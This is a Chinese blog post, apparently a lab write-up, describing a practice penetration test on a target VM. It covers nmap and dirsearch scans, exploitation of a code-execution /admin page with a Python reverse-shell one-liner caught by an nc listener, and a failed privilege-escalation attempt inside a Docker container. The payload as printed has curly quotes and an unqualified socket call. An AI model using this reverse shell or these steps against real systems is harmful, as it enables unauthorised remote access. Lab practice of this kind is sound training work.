渗透练习02

Miran_da123

于 2024-08-11 12:17:09 发布

阅读量600

点赞数 21

文章标签：网络安全

本文链接：https://blog.csdn.net/weixin_48135968/article/details/141103688

版权

渗透练习02

一、网站扫描

1.1 查看靶机开放端口

nmap扫描靶场全端口，发现有22和5000端口开着，5000端口是python脚本语言写的http协议网站，22端口看出对方系统是Linux

nmap 192.168.123.169 -p- --min-rate 1000 -sV

开放了以下端口

PORT    STATE  SERVICE   VERSION
22/tcp   open    ssh     OpenSSH 6.6p1 Ubuntu 2ubuntu1 (Ubuntu Linux; protocol 2.0)
5000/tcp open    http    Werkzeug httpd 0.14.1 (Python 2.7.15)

对5000端口进行访问，测试未发现可利用信息

1.2 目录扫描

利用dirsearch工具对5000端口进行目录扫描

┌──(root㉿kali)-[/home/kali]
└─# dirsearch                                    //下载dirsearch
┌──(root㉿kali)-[/home/kali]
└─# dirsearch -u http://192.168.123.153:5000/
[07:23:10] 200 - 4018 - /admin

扫出/admin目录，访问该路径，发现网页有代码执行的功能

二、漏洞利用

2.1 利用nc连接python反弹shell

网页端

输python反弹shell的代码

import socket,subprocess,os;s=socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“kali机ip”,port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,“-i”]);

kali机端

┌──(root㉿kali)-[/home/kali]
└─# nc -lp 80
listening on [any] 80 ...
connect to [192.168.123.30] from socnet.lan [192.168.123.153] 51691
/app # ls
Dockerfile
main.py
requirements.txt
templates

连接成功

三、提权

后面是对提权的一些尝试，但我最终没有提权成功

3.1 查看目录文件

查看id

/app # id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

/app 目录下，发现有个Dockerfile的模板文件，盲猜该网站是docker搭建的容器系统

为确定这是docker容器系统，可输入ls /.dockerenv 命令，若存在/.dockerenv目录，这证明是

显而易见，此处确实是docker容器系统，不是安装在普通服务器上的系统，我们进入的shell不是靶机的物理机shell

/app # cat Dockerfile
#docker build -t socnet .
#docker run -td --rm -p 8080:8080 socnet
FROM python:2.7-alpine
COPY ./app
WORKDIR /app
RUN pip install -r requirements.txt
CMD ["python", "/app/main.py"] 
/app # ls /.dockerenv
/.dockerenv

ip a 命令查看服务器ip

在这里插入图片描述